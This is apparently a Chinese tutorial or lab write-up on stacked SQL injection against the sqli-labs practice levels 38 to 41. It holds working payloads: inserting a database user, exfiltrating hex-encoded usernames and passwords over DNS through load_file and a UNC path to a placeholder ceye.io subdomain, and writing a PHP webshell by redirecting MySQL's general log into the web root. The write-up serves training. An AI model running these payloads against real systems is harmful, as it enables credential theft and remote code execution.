stacked injection

Stacked injection: 堆叠注入。从名词的含义就可以看出应该是一堆 sql 语句一起执行。而在真实的运用中也是这样的,我们知道在 mysql 中,主要命令行中,每一条语句结尾加;表示语句结束。这样我们就想到了是不是可以多句一起使用,这个叫做 stacked injection.

原理介绍

在 SQL 中,分号;是用来表示一条 sql 语句的结束,如果在注入过程中在;后面添加要执行的 SQL 语句的话,这种注入方式就叫做堆叠注入。下面是简单的示例:
image.png
与 union select 联合查询语句相比,堆叠查询更加灵活,可以执行任意的 SQL 语句。

局限性

1、并不是每一个环境下都可以执行,可能受 API 或者数据引擎的影响。
2、在 WEB 中代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略。因此在读数据时,我们建议使用联合注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

各个数据库堆叠查询的实例

MySQL

  1. select * from users where id=1;select version();

SQL Server

  1. select 1,2,3;select * from test;

Postgresql

  1. select * from user_test;select 1,2,3;

注入天书中还提到: Oracle 不支持堆叠查询。

less-38

源码分析
image.png
可以发现跟之前的代码差别不大,唯一区别的就是 SQL 查询语句由原来的mysql_query($sql)变成了mysqli_multi_query($con1, $sql)
mysqli_multi_query函数用于执行一个 SQL 语句,或者多个使用分号分隔的 SQL 语句,这就是堆叠注入产生的原因,因为本身就支持多个 SQL 语句的执行。
添加字段:?id=1'; insert into users(username,password) values ('rabbit','n0va');
数据库中查看是否添加成功
image.png
堆叠注入可以执行任意SQL语句,但是怎么利用天书中也没有细说,这里参考国光博客提到的两种利用方式。

DNSLog数据外带

需要条件:

  1. MYSQL 开启 load_file()
  2. DNSLog 平台 (HyugaCEYE)
  3. Windows 平台

load_file函数在Linux下是无法用来做DNSLog攻击的,因为这里涉及到Windows的UNC路径。
其实我们平常在Windows中用共享文件的时候就会用到这种网络地址的形式。

  1. \\192.168.31.53\test\

CONCAT()函数拼接4个\了因为转义的问题,4个\就变成了2个\,目地就是利用UNC路径。
因为Linux没有UNC 路径这个东西所以MYSQL处于 Linux系统 中的时候,是不能使用这种方式外带数据的。
?id=1'; select load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.xxxxxx.ceye.io\\abc')) --+
Hex编码的目的是减少干扰,因为域名是有一定规范的,有些特殊符号是不能带入的。
image.png
手动解Hex即可。

开启日志Getshell

需要条件:

  1. Web 的物理路径
  2. MYSQL可以读写 Web 目录
  3. Windows成功率高于Linux

首先查看当前日志的相关配置:

  1. mysql> show variables like 'general%';
  2. +------------------+-----------------------------------------------------------------+
  3. | Variable_name | Value |
  4. +------------------+-----------------------------------------------------------------+
  5. | general_log | OFF |
  6. | general_log_file | E:\phpstudy_pro\Extensions\MySQL5.5.29\data\LAPTOP-UE7UFJ86.log |
  7. +------------------+-----------------------------------------------------------------+
  8. 2 rows in set (0.00 sec)

这里尝试注入的时候手动开启:

  1. ?id=1';set global general_log="ON";set global general_log_file='E:\\phpstudy_pro\\WWW\\sqlilabs\\shell.php';--+

再次查看日志配置是否被修改:

  1. mysql> show variables like 'general%';
  2. +------------------+------------------------------------+
  3. | Variable_name | Value |
  4. +------------------+------------------------------------+
  5. | general_log | ON |
  6. | general_log_file | E:phpstudy_proWWWsqlilabsshell.php |
  7. +------------------+------------------------------------+
  8. 2 rows in set (0.00 sec)

尝试 getshell:

  1. ?id=1';select <?php phpinfo();?>

查看日志文件
image.png
浏览器访问查看
image.png

less-39

跟less-38拼接方式不同而已,其它没变

less-40

同less-38,拼接方式不同而已

less-41

同less-39,没有了报错信息

less-42